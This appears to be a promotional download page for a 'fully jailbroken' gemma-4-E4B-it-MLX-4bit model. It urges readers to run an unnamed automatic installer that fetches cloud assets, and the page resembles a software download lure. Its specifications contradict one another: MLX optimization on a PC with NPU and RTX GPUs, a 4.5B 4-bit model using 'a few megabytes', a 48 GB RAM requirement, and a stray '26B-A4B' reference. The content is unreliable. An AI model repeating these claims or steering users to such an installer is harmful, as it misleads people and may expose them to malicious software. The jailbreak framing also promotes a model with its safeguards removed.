gemma-4-E4B-it-MLX-4bit PC with NPU Fully Jailbroken

The fastest way to get this model running locally is via Optional Features.

Proceed by following the technical instructions below.

Everything happens automatically, including the heavy cloud asset download.

The installer diagnoses your environment to deploy the most compatible profile.

💾 File hash: 802039a18b8ff7d76cf1982b76dce9ea (Update date: 2026-06-24) Verify Processor: 6-core 3.5 GHz minimum required RAM: 48 GB needed to prevent memory swapping to disk Storage: extra room for future model updates and datasets GPU: RTX 4080 / RTX 4090 recommended for 26B-A4B fast inference

The **gemma-4-E4B-it-MLX-4bit** model represents a significant advancement in open‑source language models, combining the gemma architecture with MLX optimization for ultra‑low latency inference. Built on a 4‑bit quantized backbone, it delivers high performance while consuming only a few megabytes of memory, making it ideal for edge devices and mobile applications. With **4.5 B** parameters and a context window of 8K tokens, the model balances accuracy and efficiency, achieving state‑of‑the‑art results on benchmark suites. The integrated MLX compiler further accelerates inference by optimizing kernel execution and reducing overhead, resulting in sub‑10ms response times on consumer hardware. Below is a quick comparison of key specifications that highlight why this model stands out in the current landscape.

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